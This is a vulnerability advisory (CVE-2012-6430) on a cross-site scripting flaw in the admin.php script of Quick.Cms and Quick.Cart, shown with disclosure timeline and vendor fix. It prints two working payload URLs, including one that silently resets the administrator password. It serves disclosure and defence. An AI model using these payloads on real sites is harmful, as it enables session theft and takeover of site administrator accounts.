Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Cross-Site Scripting (XSS) vulnerability in Quick.Cms and Quick.Cart

Advisory ID:HTB23135
Product:Quick.Cms, Quick.Cart
Vendor:OpenSolution team
Vulnerable Versions:Quick.Cms 5.0, Quick.Cart 6.0 and probably prior
Tested Version:Quick.Cms 5.0, Quick.Cart 6.0
Advisory Publication:December 19, 2012 [without technical details]
Vendor Notification:December 19, 2012
Vendor Fix:December 20, 2012
Public Disclosure:January 9, 2013
Latest Update:December 20, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2012-6430
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered XSS vulnerability in Quick.Cms and Quick.Cart - two products developed by OpenSolution team, which can be exploited to perform cross-site scripting attacks.

1. Cross-Site Scripting (XSS) vulnerability in Quick.Cms and Quick.Cart: CVE-2012-6430
The vulnerability exists due to insufficient filtration of user-supplied data in URI in the "admin.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:
http://[host]/admin.php/')"></select><script>alert(document.cookie);</script >/
Nevertheless, a remote attacker can create an exploit for this vulnerability to bypass application's CSRF protection mechanism based on the HTTP Referer header and get access to privileged functions of the application. To do so he have to trick a logged-in administrator to click on a malicious link with XSS exploit.
PoC (Prof-of-Concept) code below will change administrator's password to "password":
http://[host]/admin.php/')"></select><form action="http://[host]/admin.php%3fp=tools-config" method="post"><input type="hidden" name="login" value="login"><input type="hidden" name="pass" value="password"><input type="submit" id="btn" name="sOption"></form><script>document.getElementById('btn').click();</scrip t>/
Successful exploitation of the vulnerability requires that Apache directive "AcceptPathInfo" is set to "on" or "default" (default value is "default").

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Vendor fixed the vulnerabilities without adding information to Changelog.
Upgrade to Quick.Cms 5.0 and Quick.Cart 6.0 released after December 19, 2012

More Information:
http://opensolution.org/download,en,18.html?sDir=Quick.Cart
http://opensolution.org/download,en,18.html?sDir=Quick.Cms


References:
[1] High-Tech Bridge Advisory HTB23135 - https://www.immuniweb.com/advisory/HTB23135 - Cross-Site Scripting (XSS) vulnerability in Quick.Cms and Quick.Cart.
[2] Quick.Cms and Quick.Cart - http://opensolution.org/ - Simple and easy to use or modify content management system (CMS) and shopping cart.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential